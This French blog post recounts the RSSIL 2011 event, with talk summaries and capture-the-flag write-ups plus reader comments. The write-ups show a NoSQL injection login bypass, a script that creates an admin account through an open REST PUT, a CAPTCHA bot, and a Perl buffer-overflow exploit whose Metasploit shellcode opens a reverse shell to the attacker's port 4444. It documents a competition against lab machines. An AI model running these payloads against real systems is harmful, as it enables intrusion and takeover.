RSSIL 2011 Write-Ups
30 mai 2011 – 19:18J’ai participé pour la première fois aux RSSIL, événement de sécurité et d’informatique libre qui se déroule chaque année à Maubeuge. Comme la Nuit Du Hack, l’événement se compose de conférences et de challenges. J’ai pour ma part participé au challenge de Hacking, nommé Hacknowledge, en compagnie de membres de l’équipe HZV.
Conférences
Côté conférences, je n’ai suivi que les quatre qui m’intéressaient le plus :
- Comment attaquer une place de Bourse en 30 minutes et comment se protéger ?, par Robert ERRA. N’étant pas financier, j’ai pu y découvrir le jargon associé à la bourse, ainsi que les joies du trading automatique et du Flash Crash survenu le 6 mai 2010. La conférence s’avère pessimiste (mais probablement, et malheureusement réaliste), et se termine par un petit débat annexe autour du Bitcoin dont on parle beaucoup ces derniers temps.
- Eloi Vanderbeken présente ensuite Génération et exploitation de traces. La problématique de la conférence est de déterminer l’origine des données manipulées par des programmes malveillants. Devant l’échec de l’analyse statique, l’auteur présente ses travaux d’instrumentation basés sur des outils comme Pin, développé par Intel. Très instructif, mais juste dommage qu’il n’y ait pas eu de démo.
- Dynamic Cryptographic Backdoors, présentée par Eric Filliol. Petit état de l’art quelque peu orienté (mais non moins intéressant) qui rappelle que la sécurité d’un algorithme n’est rien sans son implémentation, et que les standards officiels sont parfois dangereux si exploités par des malwares.
- Android Malwares: is it a dream?, par Anthony Desnos et Geoffroy Gueguen. Les auteurs commencent par présenter quelques malwares ciblant Android (dont DroidDream) ainsi que les exploits qu’ils utilisent pour s’octroyer les droits root. Dans une deuxième partie, ils mettent le doigt sur une des faiblesses principales de la plateforme de Google : l’incapacité à sécuriser convenablement les applications contre le reverse-engineering. Actuellement, les seuls outils existants se contentent d’obfusquer simplement les noms de classes, ce qui est de loin insuffisant. Quelques outils d’analyse sont présentés (backsmali, Dex2jar, Jd-GUI), pour terminer par Androguard, framework très prometteur.
Challenge Hacknowledge
Quant au challenge, celui-ci était plutôt inattendu. Outre les épreuves classiques du type web, reverse-engineering, réseau, crypto, et forensics, nous avions droit à toute une série d’épreuves de social engineering et même hardware (cf plus bas). J’ai laissé tout ça à mes coéquipiers, et me suis focalisé principalement sur le web et l’applicatif. Voici quelques résumés d’épreuves.
Web 1 – « Madame est servie »
Autant le dire tout de suite, aucun de nous n’a compris le titre de cette épreuve. Cependant, cela ne nous a pas empêché de la valider, mais après un certain temps. Une URL était fournie, ainsi qu’un fichier pcap. Celui-ci contenait une capture de 2 requêtes HTTP vers un web service retournant des informations en XML. La première requête, un GET sur la page /index.php/api/users, retournait la liste de tous les utilisateus enregistrés dans la base :
<?xml version="1.0" encoding="utf-8"?> <xml> <item> <username>lupin</username> <password>*********</password> <email>lupin@poudlard.net</email> <admin>0</admin> </item> <item> <username>hermione</username> <password>*********</password> <email>hermione@poudlard.net</email> <admin>0</admin> </item> ...
La deuxième capture montrait un POST sur /index.php/api/validate, avec les données suivantes :
token=Z2lubnk6Nzg0NTFiMjAxMDQ0ZTZlMzUxNTg1NWFjMGZlZjZhNGY=
Le résultat était alors :
<?xml version="1.0" encoding="utf-8"?> <xml><error>User must be admin...</error></xml>
Aucune consigne n’était donné, mais nous en avons conclu que le but était alors de se connecter en administrateur sur le Web service.
Nous avons commencé par premarquer que le token était encodé en base64, et donnait la chose suivante une fois décodé :
ginny:78451b201044e6e3515855ac0fef6a4f
Cela ressemble étrangement à un couple login:password, ce dernier étant hashé en MD5. Peu importe sa valeur, puisque ledit utilisateur n’est pas admin. Mais au moins, on sait désormais comment dialoguer avec le web service.
Après avoir passé pas mal de temps à tenter des injections dans tous les champs POST (avec et sans XML), nous avons obtenu un indice intéressant : il s’agit d’un Web service RESTful http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services. Autrement dit, il supporte les méthodes GET et POST, mais également PUT et DELETE. Celles-ci permettent de lire, créer, modifier et supprimer des objets sur le serveur. Comme notre but est de nous connecter en administrateur, nous pouvons utiliser la méthode PUT pour créer un utilisateur administrateur, et nous y connecter ensuite avec ce nouveau compte. Voici le code Python correspondant.
import base64 import httplib # Ajout d'un compte conn = httplib.HTTPConnection("192.168.0.208") headers = {"Content-type": "application/x-www-form-urlencoded"} conn.request( "PUT", "/index.php/api/users", "username=greg_evans&password=hzv_r0x&email=toto@kikoo.lol&admin=1", headers) """ On obtient l'affichage suivant : <?xml version="1.0" encoding="utf-8"?> <xml><success>User inserted successfully!</success></xml> """ # Connexion avec ce compte conn.request( "POST", "/index.php/api/validate", "token="+base64.b64encode("greg_evans:1bc06f78a82e5c7eb6521fc50e87a258"), headers) """ <?xml version="1.0" encoding="utf-8"?> <xml> <status>success</status> <description> Bien joue, vous avez resolu cette epreuve ! </description> <code>ROBBIE_THE_RETURN</code> </xml> """
On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. En tout cas notre solution fonctionne et nous a permi de récupéré le flag pour valider l’épreuve.
Web 2 – Captcha textuel
La deuxième épreuve consistait à soumettre 5 fois de suite un formulaire web comportant un CAPTCHA implémenté sous la forme d’une question à laquelle 6 réponses étaient possibles. En réactualisant la page, on se rend compte qu’il y a à peine une quinzaine de questions différentes. Aussi il est possible d’automatiser les requêtes en se constituant d’un dictionnaire de mot-clé et des réponses associées. La seule difficulté à laquelle j’ai fait face venait de l’utilisation des cookies, alors que j’utilisais le module Python urllib2, qui les gère assez mal (surtout comparé à httplib). Là encore je n’ai pas le code source de l’épreuve, mais voici pour information le code qui nous a permis de la valider :
import httplib soluce = { "serpent" : "reptile", "chiot" : "canin", "toutou" : "canin", "pigeon": "oiseau", "papillons" : "insecte", # ... } URL = "/6f503c90-8877-11e0-9d78-0800200c9a66" cookie = "" for i in range(5): headers={} if cookie!="": headers["Cookie"] = "PHPSESSID="+cookie conn = httplib.HTTPConnection("192.168.0.207") conn.request("GET", URL+"/inscription.php", None, headers) r = conn.getresponse() try: cookie = r.getheader("Set-Cookie").split("=")[1].split(";")[0] print cookie except: pass t = r.read() #print t reponse ="" for m, r in soluce.items(): if m in t: reponse = r print "===> reponse : ",reponse conn = httplib.HTTPConnection("192.168.0.207") headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": "PHPSESSID="+cookie} conn.request( "POST", URL+"/valider.php", "nom=aaaaaaaaa&prenom=aaaaaa&email=toto%40gmail.com"+ "&valider=Valider&mot="+reponse, headers) t = conn.getresponse().read() print t if "Erreur" in t: break
Après 5 CHAPTCHAs validés, le flag de l’épreuve s’affiche sur la page.
Web 3 – « In The Clouds »
Dans cette épreuve, on a affaire à un site complet ayant pour thème le Cloud Computing, ce qui constitue d’après le staff un bon indice concernant l’épreuve. N’étant pas très au fait sur le sujet, je commence donc par arpenter le site, et repérer des éventuels paramètres GET/POST susceptibles d’être mal filtrés. Une des pages possède le paramètre GET « cat » qui permet de sélectionner la catégorie des articles à afficher. Après moultes tentatives d’injections SQL, XSS et autres, rien ne passe. Idem en ce qui concerne le formulaire POST de login/mot de passe pour la partie utilisateur. Je jette un coup d’œil aux en-têtes, et je m’aperçois qu’il y a un cookie qui contient des données ressemblant étrangement à un objet PHP sérialisé. Un petit coup de unserialize(), et je constate qu’il s’agit d’un tableau de session PHP. Je tente alors d’injecter des données dans chacun des champs du tableau, mais en vain. Un petit coup de Dirbuster sur le site, ainsi qu’un rapide passage d’Acunetix, mais toujours rien. Damned…
Il nous a fallu un certain temps avant de nous rendre compte que la page « Mentions légales » du site comportait une information essentielle, en indiquant que le site était réalisé avec le CMS Codeignitier et le DBMS MongoDB. Un petit coup de Google sur différents exploits sortis pour Codeignitier, et on tombe sur quelques Includes() et XSS. Mais rien d’exploitable à priori. Concernant MongoDB, personne d’entre nous ne le connaissait. Il s’agit en fait d’un gestionnaire de BDD qui, selon Wikipédia, est « orienté document » , scalable (d’où le « cloud »), sans schéma, et dont les données sont au format JSON. Le point le plus intéressant est que ce DBMS utilise non pas SQL mais du NoSQL. Ce langage, utilisé par Facebook (avec sa BDD Cassandra) ou encore Google (BigTable) diffère du SQL dans la mesure où il permet de traiter des données au format différent des BDD relationnelles classiques.
Quel rapport avec la sécurité ? Sur des BDD NoSQL, les injections SQL classiques sont inefficaces. Cependant, il est possible dans certains cas d’effectuer des Injections NoSQL, qui sont plus ou moins l’équivalent. Ces dernières exploitent des particularités du langages, et particulièrement le typage des variable. Dans notre cas, nous voudrions exploiter le formulaire de login ; nous connaissons notre login (hzv) mais pas le mot de passe. Le code PHP simplifié coté serveur ressemble à :
$users->find(array( "username" => $_GET['username'], "passwd" => $_GET['passwd'] ));
Effectuer une requête du type login=hzv&pass=1' or 1=1
ne servirait à rien dans un cadre de BDD NoSQL, aussi la syntaxe à utiliser est la suivante :
login=hzv&pass[$ne]=1
En PHP, une variable suivie par des crochets est automatiquement castée en tableau, aussi $_GET['pass'] va devenir :
Array( '$ne' => 1 )
Appliquée dans le cadre d’une requête, ce tableau fait office de condition sur le champ ‘passwd’, l’opérateur $ne signifiant « pas égal ». Du coup, la requête sélectionne les utilisateurs dont le login est hzv, et le mot de passe différent de 1. On se retrouve logué automatiquement sur le portail. Cas d’école, mais encore fallait-il y penser…
A partir du portail, nous souhaitons nous octroyer les droits admin. Des formulaires sont disponibles pour poster des catégories et articles, mais sont inutiles. Celui qui semble le plus logique à triturer est celui qui permet d’éditer son profil en changeant son login, mot de passe, email, etc. Mais pas de champ permettant de modifier le statut utilisateur / administrateur. Là, en me rappelant la 1ère épreuve, je tente de rajouter un &admin=1
dans les données POST envoyées, et ça marche . Notre utilisateur est désormais admin, et on obtient le flag de validation. Gros coup de chance ? Peut-être…
Web 5 – « Jeux thons »
Seule information donnée : une URL, http://192.168.0.207/token/hash/. En arrivant dessus, on se tape une erreur 401 « Authorization Required » sans plus d’explications. On a alors l’idée de remonter au dossier parent, et on tombe sur un directory listing avec un fichier error.log. Celui-ci contient les erreurs Apache générées en direct. On tente d’injecter du code PHP via l’URL de la 1ère page pour qu’il se retrouve dans le log, mais sans effets car les fichiers .log ne sont pas interprétés par Apache, et aucune faille de type Include n’est présente autre part ailleurs sur le serveur.
En inspectant de plus près le fichier error.log, on remarque qu’un message particulier est généré à chaque erreur 401, et fait référence à un certain mod_auth_token. Google to the rescue, on tombe sur la documentation du module Apache correspondant. Ce module permet de générer des liens uniques permettant d’accéder à un fichier de façon temporaire, un peu comme sur les services du style Megaupload. L’URL générée pour un fichier est du type :
uri-prefix/token/timestamp-in-hex/rel-path
En ce qui nous concerne, uri-prefix vaut /token/hash/. Il nous reste à calculer le token et le timestamp. Le timestamp est obtenu par un simple dechex(time())
, et le token est généré à partir du nom du fichier, du timestamp et un secret partagé inconnu. Tentons d’accéder au fichier normalement situé à /token/hash/index.php, en générant le bon timestamp et un token foireux. On va donc sur une url du type :
/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/4de08b50/index.php
Le token est aléatoire, et le timestamp a été généré avec :
php -r "echo dechex(time());"; 4de08b50
Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :
May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth (got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9', uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')
On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête… et on tombe sur une erreur 404 Not Found. Visiblement, il n’y a pas de fichier index.php. On tente alors index.html, pour voir… Même technique : on envoie d’abord un token foireux, on regarde celui attendu dans le message d’erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.
Appli – Ken Laden
Il s’agit de l’épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n’était pas d’une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.
Le but était de prendre le contrôle d’un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :
- La machine est une Debian 6 (noyau 2.6.32-5 x86)
- Pas d’ASLR
La racine du serveur Web ressemble à ceci :
Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :
Your protocol : HTTP/1.1
Je forge alors une requête avec un protocole bidon :
s = socket.socket() s.connect(("192.168.0.204", 20080)) s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n") print s.recv(4096)
Et j’obtiens :
Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de « a », et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L’idéal serait d’inspecter le code du serveur…
C’est là que l’on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :
0x8048000 0x804a000 0x804a000 0x804b000 0xb7e95000 0xb7e96000 0xb7e96000 0xb7fd6000 0xb7fd6000 0xb7fd8000 0xb7fd8000 0xb7fd9000 0xb7fd9000 0xb7fdc000 0xb7fdf000 0xb7fe2000 0xb7fe2000 0xb7fe3000 0xb7fe3000 0xb7ffe000 0xb7ffe000 0xb7fff000 0xb7fff000 0xb8000000 0xbffdd000 0xc0000000
Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur « pcat » nous amènent sur un article fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l’outil pcat permet de dumper la mémoire virtuelle d’un processus en cours d’exécution. Visiblement, l’auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s’y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n’est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu’à cela ne tienne, nous pouvons dumper la section .text manuellement :
f = open("rssild.pcat_dump","rb") f.seek(0x8048000) a = f.read(8192) # 0x804a000 - 0x8048000 open("text.bin","wb").write(a)
On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu’il s’agisse d’un binaire incomplet – uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à « Your protocol : », affiché sur la page Web :
On follow tout ça, et on arrive à un appel du type :
lea eax, [esp+0EAE8h] mov [esp], eax call sub_80490BA mov eax, offset aBStyleColorC9d ; "...Your protocol : %s..." lea edx, [esp+0EAE8h] mov [esp+4], edx mov [esp], eax call sub_8048930
Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s’agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :
push ebp mov ebp, esp sub esp, 218h mov eax, [ebp+arg_0] mov [esp+4], eax lea eax, [ebp+var_1FC] mov [esp], eax call sub_8048920 leave retn
On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne… Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got. En tout cas, la tentation est grande ! Si on regarde de plus près, 0×218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d’EBP, on obtient 512 octets. C’est cette quantité qu’il faudra réécrirre si l’on souhaîte écraser la sauvegarde d’EIP, située juste après.
En supposant qu’il n’y ait pas de protection de la pile (pas de NX), l’exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c’est le langage de prédilection de mon coéquipier Djo) :
#!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { print "[-] Usage: \n"; print "[-] Exemple: file.pl 127.0.0.1 21\n\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; $paddind = "A"x408; $eip = "\x3b\x99\x04\x08"; #call *(%eax) #revers tcp 192.168.0.10 4444 - 99 bytes $SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" . "\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" . "\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" . "\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" . "\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" . "\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" . "\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" . "\x62" . $paddind . $eip; $evil = "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n"; print "Please Wait...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port"); $socket->send($evil); $socket->recv($answer,2048); print $answer; print "\n"; close($socket);
Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d’afficher le flag de l’épreuve. 700 points de validés d’ou coup !
Notons qu’au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue… L’auteur de l’épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n’y en avait nullement besoin pour résoudre l’épreuve.
Le reste
Le challenge était également composé de plein d’autres épreuves de types variés, de mémoire :
- Wifi : une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d’un accès utilisateur limité sur le portail Web.
- Social Engineering : toute une série d’épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d’informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d’IUT qui partiaipaient à un autre challenge à côté de nous
- Hardware : Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un Teensy pour bruteforcer un mot de passe en disposant uniquement d’un port USB pendant 2 min chrono… Heureusement que notre spécialiste hardware était là !
- Forensics / Reverse Engineering : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.
- Réseau / VoIP : Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n’avons réussi aucune de ces épreuves…
Bref, pas de quoi s’ennuyer lors de cette longue nuit.
Retrouvez les solutions ainsi que les sources de certains de ces challenges sur Shell-storm.org.
Remise des prix
Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.
Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l’équipe d’ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d’originalité, ni de qualité.
A bientôt pour un mois de juin chargé avec le SSTIC (8, 9 et 10), Hack In Paris (14-17), et la Nuit Du Hack (18-19)
7 réponses à “RSSIL 2011 Write-Ups”
La démarche est pas mal, vous avez été les seuls à valider kenladen!
C’est vrai que le dump était cadeau(la plupart des équipes traînaient sur l’épreuve).
Dans le résumé on lisait « stack +x », additionné au mappage des sections, on pouvait bf la stack(0xbffdd000-0xc0000000) et prédire la distance vers eip (500->600).
Bravo à vous en tout cas!
Par ipv le 30 mai 2011
Merci pour ce joli compte-rendu et bravo pour la victoire ! Ca avait l’air super sympa
Par StalkR le 30 mai 2011
Merci pour ces write-ups d epreuves. Moi je me suis penché à fond sur leq livebox.
Bon courage pour le mois de juin.
Encore merci à la acissi
Par noar error404 le 30 mai 2011
Merci xD
Par H00R18LE le 30 mai 2011
Salut,
« On notera que la méthode PUT est normalement utilisée pour mettre à jour et non pour ajouter un objet à une collection. »
PUT et POST peuvent tous les deux être utilisés pour créer une ressource, tous dépend du contexte : http://www.elharo.com/blog/software-development/web-development/2005/12/08/post-vs-put/
J’ai préféré utilisé PUT sur le coup, et j’avoue que c’est une habitude que j’ai pris dans toutes mes api. PUT pour ajouter une ressource et POST pour la modifier.
D’ailleurs Oracle part sur le même principe (http://java.sun.com/developer/technicalArticles/WebServices/restful/) et Amazon utilise les deux verbes (http://awsmedia.s3.amazonaws.com/pdf/RESTandS3.pdf).
En tout cas bravo pour votre victoire !
Par shatter le 31 mai 2011
Félicitation Trance et bon compte-rendu.
En tous cas, l’épreuve d’ipv avait l’air géniale!
See ya à la NDH
Par bik3te le 31 mai 2011